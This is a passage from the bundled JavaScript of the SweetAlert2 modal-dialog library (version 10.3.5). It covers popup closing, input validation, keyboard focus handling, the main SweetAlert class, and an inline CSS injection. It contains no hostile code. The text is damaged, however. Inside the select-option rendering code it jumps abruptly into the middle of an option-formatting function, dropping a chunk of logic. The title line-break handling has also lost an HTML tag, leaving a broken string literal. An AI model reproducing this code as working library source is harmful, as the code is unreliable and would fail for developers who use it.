removeClass(document.body, swalClasses.iosfix); document.body.style.top = ''; document.body.scrollTop = offset * -1; } }; /* istanbul ignore file */ var isIE11 = function isIE11() { return !!window.MSInputMethodContext && !!document.documentMode; }; // Fix IE11 centering sweetalert2/issues/933 var fixVerticalPositionIE = function fixVerticalPositionIE() { var container = getContainer(); var popup = getPopup(); container.style.removeProperty('align-items'); if (popup.offsetTop < 0) { container.style.alignItems = 'flex-start'; } }; var IEfix = function IEfix() { if (typeof window !== 'undefined' && isIE11()) { fixVerticalPositionIE(); window.addEventListener('resize', fixVerticalPositionIE); } }; var undoIEfix = function undoIEfix() { if (typeof window !== 'undefined' && isIE11()) { window.removeEventListener('resize', fixVerticalPositionIE); } }; // Adding aria-hidden="true" to elements outside of the active modal dialog ensures that // elements not within the active modal dialog will not be surfaced if a user opens a screen // reader’s list of elements (headings, form controls, landmarks, etc.) in the document. var setAriaHidden = function setAriaHidden() { var bodyChildren = toArray(document.body.children); bodyChildren.forEach(function (el) { if (el === getContainer() || contains(el, getContainer())) { return; } if (el.hasAttribute('aria-hidden')) { el.setAttribute('data-previous-aria-hidden', el.getAttribute('aria-hidden')); } el.setAttribute('aria-hidden', 'true'); }); }; var unsetAriaHidden = function unsetAriaHidden() { var bodyChildren = toArray(document.body.children); bodyChildren.forEach(function (el) { if (el.hasAttribute('data-previous-aria-hidden')) { el.setAttribute('aria-hidden', el.getAttribute('data-previous-aria-hidden')); el.removeAttribute('data-previous-aria-hidden'); } else { el.removeAttribute('aria-hidden'); } }); }; /** * This module containts `WeakMap`s for each effectively-"private property" that a `Swal` has. * For example, to set the private property "foo" of `this` to "bar", you can `privateProps.foo.set(this, 'bar')` * This is the approach that Babel will probably take to implement private methods/fields * https://github.com/tc39/proposal-private-methods * https://github.com/babel/babel/pull/7555 * Once we have the changes from that PR in Babel, and our core class fits reasonable in *one module* * then we can use that language feature. */ var privateMethods = { swalPromiseResolve: new WeakMap() }; /* * Instance method to close sweetAlert */ function removePopupAndResetState(instance, container, isToast$$1, didClose) { if (isToast$$1) { triggerDidCloseAndDispose(instance, didClose); } else { restoreActiveElement().then(function () { return triggerDidCloseAndDispose(instance, didClose); }); globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture }); globalState.keydownHandlerAdded = false; } if (container.parentNode && !document.body.getAttribute('data-swal2-queue-step')) { container.parentNode.removeChild(container); } if (isModal()) { undoScrollbar(); undoIOSfix(); undoIEfix(); unsetAriaHidden(); } removeBodyClasses(); } function removeBodyClasses() { removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses['height-auto'], swalClasses['no-backdrop'], swalClasses['toast-shown'], swalClasses['toast-column']]); } function close(resolveValue) { var popup = getPopup(); if (!popup) { return; } resolveValue = prepareResolveValue(resolveValue); var innerParams = privateProps.innerParams.get(this); if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) { return; } var swalPromiseResolve = privateMethods.swalPromiseResolve.get(this); removeClass(popup, innerParams.showClass.popup); addClass(popup, innerParams.hideClass.popup); var backdrop = getContainer(); removeClass(backdrop, innerParams.showClass.backdrop); addClass(backdrop, innerParams.hideClass.backdrop); handlePopupAnimation(this, popup, innerParams); // Resolve Swal promise swalPromiseResolve(resolveValue); } var prepareResolveValue = function prepareResolveValue(resolveValue) { // When user calls Swal.close() if (typeof resolveValue === 'undefined') { return { isConfirmed: false, isDenied: false, isDismissed: true }; } return _extends({ isConfirmed: false, isDenied: false, isDismissed: false }, resolveValue); }; var handlePopupAnimation = function handlePopupAnimation(instance, popup, innerParams) { var container = getContainer(); // If animation is supported, animate var animationIsSupported = animationEndEvent && hasCssAnimation(popup); var onClose = innerParams.onClose, onAfterClose = innerParams.onAfterClose, willClose = innerParams.willClose, didClose = innerParams.didClose; runDidClose(popup, willClose, onClose); if (animationIsSupported) { animatePopup(instance, popup, container, didClose || onAfterClose); } else { // Otherwise, remove immediately removePopupAndResetState(instance, container, isToast(), didClose || onAfterClose); } }; var runDidClose = function runDidClose(popup, willClose, onClose) { if (willClose !== null && typeof willClose === 'function') { willClose(popup); } else if (onClose !== null && typeof onClose === 'function') { onClose(popup); // @deprecated } }; var animatePopup = function animatePopup(instance, popup, container, didClose) { globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, isToast(), didClose); popup.addEventListener(animationEndEvent, function (e) { if (e.target === popup) { globalState.swalCloseEventFinishedCallback(); delete globalState.swalCloseEventFinishedCallback; } }); }; var triggerDidCloseAndDispose = function triggerDidCloseAndDispose(instance, didClose) { setTimeout(function () { if (typeof didClose === 'function') { didClose(); } instance._destroy(); }); }; function setButtonsDisabled(instance, buttons, disabled) { var domCache = privateProps.domCache.get(instance); buttons.forEach(function (button) { domCache[button].disabled = disabled; }); } function setInputDisabled(input, disabled) { if (!input) { return false; } if (input.type === 'radio') { var radiosContainer = input.parentNode.parentNode; var radios = radiosContainer.querySelectorAll('input'); for (var i = 0; i < radios.length; i++) { radios[i].disabled = disabled; } } else { input.disabled = disabled; } } function enableButtons() { setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], false); } function disableButtons() { setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], true); } function enableInput() { return setInputDisabled(this.getInput(), false); } function disableInput() { return setInputDisabled(this.getInput(), true); } function showValidationMessage(error) { var domCache = privateProps.domCache.get(this); setInnerHtml(domCache.validationMessage, error); var popupComputedStyle = window.getComputedStyle(domCache.popup); domCache.validationMessage.style.marginLeft = "-".concat(popupComputedStyle.getPropertyValue('padding-left')); domCache.validationMessage.style.marginRight = "-".concat(popupComputedStyle.getPropertyValue('padding-right')); show(domCache.validationMessage); var input = this.getInput(); if (input) { input.setAttribute('aria-invalid', true); input.setAttribute('aria-describedBy', swalClasses['validation-message']); focusInput(input); addClass(input, swalClasses.inputerror); } } // Hide block with validation message function resetValidationMessage$1() { var domCache = privateProps.domCache.get(this); if (domCache.validationMessage) { hide(domCache.validationMessage); } var input = this.getInput(); if (input) { input.removeAttribute('aria-invalid'); input.removeAttribute('aria-describedBy'); removeClass(input, swalClasses.inputerror); } } function getProgressSteps$1() { var domCache = privateProps.domCache.get(this); return domCache.progressSteps; } var Timer = /*#__PURE__*/function () { function Timer(callback, delay) { _classCallCheck(this, Timer); this.callback = callback; this.remaining = delay; this.running = false; this.start(); } _createClass(Timer, [{ key: "start", value: function start() { if (!this.running) { this.running = true; this.started = new Date(); this.id = setTimeout(this.callback, this.remaining); } return this.remaining; } }, { key: "stop", value: function stop() { if (this.running) { this.running = false; clearTimeout(this.id); this.remaining -= new Date() - this.started; } return this.remaining; } }, { key: "increase", value: function increase(n) { var running = this.running; if (running) { this.stop(); } this.remaining += n; if (running) { this.start(); } return this.remaining; } }, { key: "getTimerLeft", value: function getTimerLeft() { if (this.running) { this.stop(); this.start(); } return this.remaining; } }, { key: "isRunning", value: function isRunning() { return this.running; } }]); return Timer; }(); var defaultInputValidators = { email: function email(string, validationMessage) { return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || 'Invalid email address'); }, url: function url(string, validationMessage) { // taken from https://stackoverflow.com/a/3809435 with a small change from #1306 and #2013 return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || 'Invalid URL'); } }; function setDefaultInputValidators(params) { // Use default `inputValidator` for supported input types if not provided if (!params.inputValidator) { Object.keys(defaultInputValidators).forEach(function (key) { if (params.input === key) { params.inputValidator = defaultInputValidators[key]; } }); } } function validateCustomTargetElement(params) { // Determine if the custom target element is valid if (!params.target || typeof params.target === 'string' && !document.querySelector(params.target) || typeof params.target !== 'string' && !params.target.appendChild) { warn('Target parameter is not valid, defaulting to "body"'); params.target = 'body'; } } /** * Set type, text and actions on popup * * @param params * @returns {boolean} */ function setParameters(params) { setDefaultInputValidators(params); // showLoaderOnConfirm && preConfirm if (params.showLoaderOnConfirm && !params.preConfirm) { warn('showLoaderOnConfirm is set to true, but preConfirm is not defined.\n' + 'showLoaderOnConfirm should be used together with preConfirm, see usage example:\n' + 'https://sweetalert2.github.io/#ajax-request'); } // params.animation will be actually used in renderPopup.js // but in case when params.animation is a function, we need to call that function // before popup (re)initialization, so it'll be possible to check Swal.isVisible() // inside the params.animation function params.animation = callIfFunction(params.animation); validateCustomTargetElement(params); // Replace newlines with
          in title if (typeof params.title === 'string') { params.title = params.title.split('\n').join('
          '); } init(params); } var SHOW_CLASS_TIMEOUT = 10; /** * Open popup, add necessary classes and styles, fix scrollbar * * @param params */ var openPopup = function openPopup(params) { var container = getContainer(); var popup = getPopup(); if (typeof params.willOpen === 'function') { params.willOpen(popup); } else if (typeof params.onBeforeOpen === 'function') { params.onBeforeOpen(popup); // @deprecated } var bodyStyles = window.getComputedStyle(document.body); var initialBodyOverflow = bodyStyles.overflowY; addClasses$1(container, popup, params); // scrolling is 'hidden' until animation is done, after that 'auto' setTimeout(function () { setScrollingVisibility(container, popup); }, SHOW_CLASS_TIMEOUT); if (isModal()) { fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow); setAriaHidden(); } if (!isToast() && !globalState.previousActiveElement) { globalState.previousActiveElement = document.activeElement; } runDidOpen(popup, params); removeClass(container, swalClasses['no-transition']); }; var runDidOpen = function runDidOpen(popup, params) { if (typeof params.didOpen === 'function') { setTimeout(function () { return params.didOpen(popup); }); } else if (typeof params.onOpen === 'function') { setTimeout(function () { return params.onOpen(popup); }); // @deprecated } }; var swalOpenAnimationFinished = function swalOpenAnimationFinished(event) { var popup = getPopup(); if (event.target !== popup) { return; } var container = getContainer(); popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished); container.style.overflowY = 'auto'; }; var setScrollingVisibility = function setScrollingVisibility(container, popup) { if (animationEndEvent && hasCssAnimation(popup)) { container.style.overflowY = 'hidden'; popup.addEventListener(animationEndEvent, swalOpenAnimationFinished); } else { container.style.overflowY = 'auto'; } }; var fixScrollContainer = function fixScrollContainer(container, scrollbarPadding, initialBodyOverflow) { iOSfix(); IEfix(); if (scrollbarPadding && initialBodyOverflow !== 'hidden') { fixScrollbar(); } // sweetalert2/issues/1247 setTimeout(function () { container.scrollTop = 0; }); }; var addClasses$1 = function addClasses(container, popup, params) { addClass(container, params.showClass.backdrop); // the workaround with setting/unsetting opacity is needed for #2019 and 2059 popup.style.setProperty('opacity', '0', 'important'); show(popup); setTimeout(function () { // Animate popup right after showing it addClass(popup, params.showClass.popup); // and remove the opacity workaround popup.style.removeProperty('opacity'); }, SHOW_CLASS_TIMEOUT); // 10ms in order to fix #2062 addClass([document.documentElement, document.body], swalClasses.shown); if (params.heightAuto && params.backdrop && !params.toast) { addClass([document.documentElement, document.body], swalClasses['height-auto']); } }; var handleInputOptionsAndValue = function handleInputOptionsAndValue(instance, params) { if (params.input === 'select' || params.input === 'radio') { handleInputOptions(instance, params); } else if (['text', 'email', 'number', 'tel', 'textarea'].indexOf(params.input) !== -1 && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) { handleInputValue(instance, params); } }; var getInputValue = function getInputValue(instance, innerParams) { var input = instance.getInput(); if (!input) { return null; } switch (innerParams.input) { case 'checkbox': return getCheckboxValue(input); case 'radio': return getRadioValue(input); case 'file': return getFileValue(input); default: return innerParams.inputAutoTrim ? input.value.trim() : input.value; } }; var getCheckboxValue = function getCheckboxValue(input) { return input.checked ? 1 : 0; }; var getRadioValue = function getRadioValue(input) { return input.checked ? input.value : null; }; var getFileValue = function getFileValue(input) { return input.files.length ? input.getAttribute('multiple') !== null ? input.files : input.files[0] : null; }; var handleInputOptions = function handleInputOptions(instance, params) { var content = getContent(); var processInputOptions = function processInputOptions(inputOptions) { return populateInputOptions[params.input](content, formatInputOptions(inputOptions), params); }; if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) { showLoading(); asPromise(params.inputOptions).then(function (inputOptions) { instance.hideLoading(); processInputOptions(inputOptions); }); } else if (_typeof(params.inputOptions) === 'object') { processInputOptions(params.inputOptions); } else { error("Unexpected type of inputOptions! Expected object, Map or Promise, got ".concat(_typeof(params.inputOptions))); } }; var handleInputValue = function handleInputValue(instance, params) { var input = instance.getInput(); hide(input); asPromise(params.inputValue).then(function (inputValue) { input.value = params.input === 'number' ? parseFloat(inputValue) || 0 : "".concat(inputValue); show(input); input.focus(); instance.hideLoading(); })["catch"](function (err) { error("Error in inputValue promise: ".concat(err)); input.value = ''; show(input); input.focus(); instance.hideLoading(); }); }; var populateInputOptions = { select: function select(content, inputOptions, params) { var select = getChildByClass(content, swalClasses.select); var renderOption = function renderOption(parent, optionLabel, optionValue) { var option = document.createElement('option'); option.value = optionValue; setInnerHtml(option, optionLabel); if (params.inputValue.toString() === optionValue.toString()) { option.selected = true; } parent.appendChild(option); }; inputOptions.forEach(function (inputOption) { var optionValue = inputOption[0]; var optionLabel = inputOption[1]; // spec: // https://www.w3.org/TR/html401/interact/forms.html#h-17.6 // "...all OPTGROUP elements must be specified directly within a SELECT element (i.e., groups may not be nested)..." // check whether this is a if (Array.isArray(optionLabel)) { // if it is an array, then it is an var optgroup = document.createElement('optgroup'); optgroup.label = optionValue; optgroup.disabled = false; // not configurable for now select.appendChild(optgroup); optionLabel.forEach(function (o) { return renderOption(optgroup, o[1], o[0]); }); } else { // case of valueFormatted = formatInputOptions(valueFormatted); } result.push([key, valueFormatted]); }); } else { Object.keys(inputOptions).forEach(function (key) { var valueFormatted = inputOptions[key]; if (_typeof(valueFormatted) === 'object') { // case of valueFormatted = formatInputOptions(valueFormatted); } result.push([key, valueFormatted]); }); } return result; }; var handleConfirmButtonClick = function handleConfirmButtonClick(instance, innerParams) { instance.disableButtons(); if (innerParams.input) { handleConfirmWithInput(instance, innerParams); } else { confirm(instance, innerParams, true); } }; var handleDenyButtonClick = function handleDenyButtonClick(instance) { instance.disableButtons(); // here we could add preDeny in future, if needed deny(instance); }; var handleCancelButtonClick = function handleCancelButtonClick(instance, dismissWith) { instance.disableButtons(); dismissWith(DismissReason.cancel); }; var handleConfirmWithInput = function handleConfirmWithInput(instance, innerParams) { var inputValue = getInputValue(instance, innerParams); if (innerParams.inputValidator) { instance.disableInput(); var validationPromise = Promise.resolve().then(function () { return asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)); }); validationPromise.then(function (validationMessage) { instance.enableButtons(); instance.enableInput(); if (validationMessage) { instance.showValidationMessage(validationMessage); } else { confirm(instance, innerParams, inputValue); } }); } else if (!instance.getInput().checkValidity()) { instance.enableButtons(); instance.showValidationMessage(innerParams.validationMessage); } else { confirm(instance, innerParams, inputValue); } }; var deny = function deny(instance) { instance.closePopup({ isDenied: true, value: false }); }; var succeedWith = function succeedWith(instance, value) { instance.closePopup({ isConfirmed: true, value: value }); }; var confirm = function confirm(instance, innerParams, value) { if (innerParams.showLoaderOnConfirm) { showLoading(); // TODO: make showLoading an *instance* method } if (innerParams.preConfirm) { instance.resetValidationMessage(); var preConfirmPromise = Promise.resolve().then(function () { return asPromise(innerParams.preConfirm(value, innerParams.validationMessage)); }); preConfirmPromise.then(function (preConfirmValue) { if (isVisible(getValidationMessage()) || preConfirmValue === false) { instance.hideLoading(); } else { succeedWith(instance, typeof preConfirmValue === 'undefined' ? value : preConfirmValue); } }); } else { succeedWith(instance, value); } }; var addKeydownHandler = function addKeydownHandler(instance, globalState, innerParams, dismissWith) { if (globalState.keydownTarget && globalState.keydownHandlerAdded) { globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture }); globalState.keydownHandlerAdded = false; } if (!innerParams.toast) { globalState.keydownHandler = function (e) { return keydownHandler(instance, e, dismissWith); }; globalState.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup(); globalState.keydownListenerCapture = innerParams.keydownListenerCapture; globalState.keydownTarget.addEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture }); globalState.keydownHandlerAdded = true; } }; // Focus handling var setFocus = function setFocus(innerParams, index, increment) { var focusableElements = getFocusableElements(); // search for visible elements and select the next possible match for (var i = 0; i < focusableElements.length; i++) { index = index + increment; // rollover to first item if (index === focusableElements.length) { index = 0; // go to last item } else if (index === -1) { index = focusableElements.length - 1; } return focusableElements[index].focus(); } // no visible focusable elements, focus the popup getPopup().focus(); }; var arrowKeysNextButton = ['ArrowRight', 'ArrowDown', 'Right', 'Down' // IE11 ]; var arrowKeysPreviousButton = ['ArrowLeft', 'ArrowUp', 'Left', 'Up' // IE11 ]; var escKeys = ['Escape', 'Esc' // IE11 ]; var keydownHandler = function keydownHandler(instance, e, dismissWith) { var innerParams = privateProps.innerParams.get(instance); if (innerParams.stopKeydownPropagation) { e.stopPropagation(); } // ENTER if (e.key === 'Enter') { handleEnter(instance, e, innerParams); // TAB } else if (e.key === 'Tab') { handleTab(e, innerParams); // ARROWS - switch focus between buttons } else if ([].concat(arrowKeysNextButton, arrowKeysPreviousButton).indexOf(e.key) !== -1) { handleArrows(e.key); // ESC } else if (escKeys.indexOf(e.key) !== -1) { handleEsc(e, innerParams, dismissWith); } }; var handleEnter = function handleEnter(instance, e, innerParams) { // #720 #721 if (e.isComposing) { return; } if (e.target && instance.getInput() && e.target.outerHTML === instance.getInput().outerHTML) { if (['textarea', 'file'].indexOf(innerParams.input) !== -1) { return; // do not submit } clickConfirm(); e.preventDefault(); } }; var handleTab = function handleTab(e, innerParams) { var targetElement = e.target; var focusableElements = getFocusableElements(); var btnIndex = -1; for (var i = 0; i < focusableElements.length; i++) { if (targetElement === focusableElements[i]) { btnIndex = i; break; } } if (!e.shiftKey) { // Cycle to the next button setFocus(innerParams, btnIndex, 1); } else { // Cycle to the prev button setFocus(innerParams, btnIndex, -1); } e.stopPropagation(); e.preventDefault(); }; var handleArrows = function handleArrows(key) { var confirmButton = getConfirmButton(); var denyButton = getDenyButton(); var cancelButton = getCancelButton(); if (!([confirmButton, denyButton, cancelButton].indexOf(document.activeElement) !== -1)) { return; } var sibling = arrowKeysNextButton.indexOf(key) !== -1 ? 'nextElementSibling' : 'previousElementSibling'; var buttonToFocus = document.activeElement[sibling]; if (buttonToFocus) { buttonToFocus.focus(); } }; var handleEsc = function handleEsc(e, innerParams, dismissWith) { if (callIfFunction(innerParams.allowEscapeKey)) { e.preventDefault(); dismissWith(DismissReason.esc); } }; var handlePopupClick = function handlePopupClick(instance, domCache, dismissWith) { var innerParams = privateProps.innerParams.get(instance); if (innerParams.toast) { handleToastClick(instance, domCache, dismissWith); } else { // Ignore click events that had mousedown on the popup but mouseup on the container // This can happen when the user drags a slider handleModalMousedown(domCache); // Ignore click events that had mousedown on the container but mouseup on the popup handleContainerMousedown(domCache); handleModalClick(instance, domCache, dismissWith); } }; var handleToastClick = function handleToastClick(instance, domCache, dismissWith) { // Closing toast by internal click domCache.popup.onclick = function () { var innerParams = privateProps.innerParams.get(instance); if (innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton || innerParams.input) { return; } dismissWith(DismissReason.close); }; }; var ignoreOutsideClick = false; var handleModalMousedown = function handleModalMousedown(domCache) { domCache.popup.onmousedown = function () { domCache.container.onmouseup = function (e) { domCache.container.onmouseup = undefined; // We only check if the mouseup target is the container because usually it doesn't // have any other direct children aside of the popup if (e.target === domCache.container) { ignoreOutsideClick = true; } }; }; }; var handleContainerMousedown = function handleContainerMousedown(domCache) { domCache.container.onmousedown = function () { domCache.popup.onmouseup = function (e) { domCache.popup.onmouseup = undefined; // We also need to check if the mouseup target is a child of the popup if (e.target === domCache.popup || domCache.popup.contains(e.target)) { ignoreOutsideClick = true; } }; }; }; var handleModalClick = function handleModalClick(instance, domCache, dismissWith) { domCache.container.onclick = function (e) { var innerParams = privateProps.innerParams.get(instance); if (ignoreOutsideClick) { ignoreOutsideClick = false; return; } if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) { dismissWith(DismissReason.backdrop); } }; }; function _main(userParams) { showWarningsForParams(userParams); if (globalState.currentInstance) { globalState.currentInstance._destroy(); } globalState.currentInstance = this; var innerParams = prepareParams(userParams); setParameters(innerParams); Object.freeze(innerParams); // clear the previous timer if (globalState.timeout) { globalState.timeout.stop(); delete globalState.timeout; } // clear the restore focus timeout clearTimeout(globalState.restoreFocusTimeout); var domCache = populateDomCache(this); render(this, innerParams); privateProps.innerParams.set(this, innerParams); return swalPromise(this, domCache, innerParams); } var prepareParams = function prepareParams(userParams) { var showClass = _extends({}, defaultParams.showClass, userParams.showClass); var hideClass = _extends({}, defaultParams.hideClass, userParams.hideClass); var params = _extends({}, defaultParams, userParams); params.showClass = showClass; params.hideClass = hideClass; // @deprecated if (userParams.animation === false) { params.showClass = { popup: 'swal2-noanimation', backdrop: 'swal2-noanimation' }; params.hideClass = {}; } return params; }; var swalPromise = function swalPromise(instance, domCache, innerParams) { return new Promise(function (resolve) { // functions to handle all closings/dismissals var dismissWith = function dismissWith(dismiss) { instance.closePopup({ isDismissed: true, dismiss: dismiss }); }; privateMethods.swalPromiseResolve.set(instance, resolve); domCache.confirmButton.onclick = function () { return handleConfirmButtonClick(instance, innerParams); }; domCache.denyButton.onclick = function () { return handleDenyButtonClick(instance); }; domCache.cancelButton.onclick = function () { return handleCancelButtonClick(instance, dismissWith); }; domCache.closeButton.onclick = function () { return dismissWith(DismissReason.close); }; handlePopupClick(instance, domCache, dismissWith); addKeydownHandler(instance, globalState, innerParams, dismissWith); if (innerParams.toast && (innerParams.input || innerParams.footer || innerParams.showCloseButton)) { addClass(document.body, swalClasses['toast-column']); } else { removeClass(document.body, swalClasses['toast-column']); } handleInputOptionsAndValue(instance, innerParams); openPopup(innerParams); setupTimer(globalState, innerParams, dismissWith); initFocus(domCache, innerParams); // Scroll container to top on open (#1247, #1946) setTimeout(function () { domCache.container.scrollTop = 0; }); }); }; var populateDomCache = function populateDomCache(instance) { var domCache = { popup: getPopup(), container: getContainer(), content: getContent(), actions: getActions(), confirmButton: getConfirmButton(), denyButton: getDenyButton(), cancelButton: getCancelButton(), loader: getLoader(), closeButton: getCloseButton(), validationMessage: getValidationMessage(), progressSteps: getProgressSteps() }; privateProps.domCache.set(instance, domCache); return domCache; }; var setupTimer = function setupTimer(globalState$$1, innerParams, dismissWith) { var timerProgressBar = getTimerProgressBar(); hide(timerProgressBar); if (innerParams.timer) { globalState$$1.timeout = new Timer(function () { dismissWith('timer'); delete globalState$$1.timeout; }, innerParams.timer); if (innerParams.timerProgressBar) { show(timerProgressBar); setTimeout(function () { if (globalState$$1.timeout.running) { // timer can be already stopped at this point animateTimerProgressBar(innerParams.timer); } }); } } }; var initFocus = function initFocus(domCache, innerParams) { if (innerParams.toast) { return; } if (!callIfFunction(innerParams.allowEnterKey)) { return blurActiveElement(); } if (!focusButton(domCache, innerParams)) { setFocus(innerParams, -1, 1); } }; var focusButton = function focusButton(domCache, innerParams) { if (innerParams.focusDeny && isVisible(domCache.denyButton)) { domCache.denyButton.focus(); return true; } if (innerParams.focusCancel && isVisible(domCache.cancelButton)) { domCache.cancelButton.focus(); return true; } if (innerParams.focusConfirm && isVisible(domCache.confirmButton)) { domCache.confirmButton.focus(); return true; } return false; }; var blurActiveElement = function blurActiveElement() { if (document.activeElement && typeof document.activeElement.blur === 'function') { document.activeElement.blur(); } }; /** * Updates popup parameters. */ function update(params) { var popup = getPopup(); var innerParams = privateProps.innerParams.get(this); if (!popup || hasClass(popup, innerParams.hideClass.popup)) { return warn("You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup."); } var validUpdatableParams = {}; // assign valid params from `params` to `defaults` Object.keys(params).forEach(function (param) { if (Swal.isUpdatableParameter(param)) { validUpdatableParams[param] = params[param]; } else { warn("Invalid parameter to update: \"".concat(param, "\". Updatable params are listed here: https://github.com/sweetalert2/sweetalert2/blob/master/src/utils/params.js\n\nIf you think this parameter should be updatable, request it here: https://github.com/sweetalert2/sweetalert2/issues/new?template=02_feature_request.md")); } }); var updatedParams = _extends({}, innerParams, validUpdatableParams); render(this, updatedParams); privateProps.innerParams.set(this, updatedParams); Object.defineProperties(this, { params: { value: _extends({}, this.params, params), writable: false, enumerable: true } }); } function _destroy() { var domCache = privateProps.domCache.get(this); var innerParams = privateProps.innerParams.get(this); if (!innerParams) { return; // This instance has already been destroyed } // Check if there is another Swal closing if (domCache.popup && globalState.swalCloseEventFinishedCallback) { globalState.swalCloseEventFinishedCallback(); delete globalState.swalCloseEventFinishedCallback; } // Check if there is a swal disposal defer timer if (globalState.deferDisposalTimer) { clearTimeout(globalState.deferDisposalTimer); delete globalState.deferDisposalTimer; } runDidDestroy(innerParams); disposeSwal(this); } var runDidDestroy = function runDidDestroy(innerParams) { if (typeof innerParams.didDestroy === 'function') { innerParams.didDestroy(); } else if (typeof innerParams.onDestroy === 'function') { innerParams.onDestroy(); // @deprecated } }; var disposeSwal = function disposeSwal(instance) { // Unset this.params so GC will dispose it (#1569) delete instance.params; // Unset globalState props so GC will dispose globalState (#1569) delete globalState.keydownHandler; delete globalState.keydownTarget; // Unset WeakMaps so GC will be able to dispose them (#1569) unsetWeakMaps(privateProps); unsetWeakMaps(privateMethods); }; var unsetWeakMaps = function unsetWeakMaps(obj) { for (var i in obj) { obj[i] = new WeakMap(); } }; var instanceMethods = /*#__PURE__*/Object.freeze({ hideLoading: hideLoading, disableLoading: hideLoading, getInput: getInput$1, close: close, closePopup: close, closeModal: close, closeToast: close, enableButtons: enableButtons, disableButtons: disableButtons, enableInput: enableInput, disableInput: disableInput, showValidationMessage: showValidationMessage, resetValidationMessage: resetValidationMessage$1, getProgressSteps: getProgressSteps$1, _main: _main, update: update, _destroy: _destroy }); var currentInstance; var SweetAlert = /*#__PURE__*/function () { function SweetAlert() { _classCallCheck(this, SweetAlert); // Prevent run in Node env if (typeof window === 'undefined') { return; } // Check for the existence of Promise if (typeof Promise === 'undefined') { error('This package requires a Promise library, please include a shim to enable it in this browser (See: https://github.com/sweetalert2/sweetalert2/wiki/Migration-from-SweetAlert-to-SweetAlert2#1-ie-support)'); } currentInstance = this; for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } var outerParams = Object.freeze(this.constructor.argsToParams(args)); Object.defineProperties(this, { params: { value: outerParams, writable: false, enumerable: true, configurable: true } }); var promise = this._main(this.params); privateProps.promise.set(this, promise); } // `catch` cannot be the name of a module export, so we define our thenable methods here instead _createClass(SweetAlert, [{ key: "then", value: function then(onFulfilled) { var promise = privateProps.promise.get(this); return promise.then(onFulfilled); } }, { key: "finally", value: function _finally(onFinally) { var promise = privateProps.promise.get(this); return promise["finally"](onFinally); } }]); return SweetAlert; }(); // Assign instance methods from src/instanceMethods/*.js to prototype _extends(SweetAlert.prototype, instanceMethods); // Assign static methods from src/staticMethods/*.js to constructor _extends(SweetAlert, staticMethods); // Proxy to instance methods to constructor, for now, for backwards compatibility Object.keys(instanceMethods).forEach(function (key) { SweetAlert[key] = function () { if (currentInstance) { var _currentInstance; return (_currentInstance = currentInstance)[key].apply(_currentInstance, arguments); } }; }); SweetAlert.DismissReason = DismissReason; SweetAlert.version = '10.3.5'; var Swal = SweetAlert; Swal["default"] = Swal; return Swal; })); if (typeof this !== 'undefined' && this.Sweetalert2){ this.swal = this.sweetAlert = this.Swal = this.SweetAlert = this.Sweetalert2} "undefined"!=typeof document&&function(e,t){var n=e.createElement("style");if(e.getElementsByTagName("head")[0].appendChild(n),n.styleSheet)n.styleSheet.disabled||(n.styleSheet.cssText=t);else try{n.innerHTML=t}catch(e){n.innerText=t}}(document,".swal2-popup.swal2-toast{flex-direction:row;align-items:center;width:auto;padding:.625em;overflow-y:hidden;background:#fff;box-shadow:0 0 .625em #d9d9d9}.swal2-popup.swal2-toast .swal2-header{flex-direction:row;padding:0}.swal2-popup.swal2-toast .swal2-title{flex-grow:1;justify-content:flex-start;margin:0 .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{position:static;width:.8em;height:.8em;line-height:.8}.swal2-popup.swal2-toast .swal2-content{justify-content:flex-start;padding:0;font-size:1em}.swal2-popup.swal2-toast .swal2-icon{width:2em;min-width:2em;height:2em;margin:0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{font-size:.25em}}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{flex-basis:auto!important;width:auto;height:auto;margin:0 .3125em;padding:0}.swal2-popup.swal2-toast .swal2-styled{margin:0 .3125em;padding:.3125em .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-styled:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(50,100,150,.4)}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success 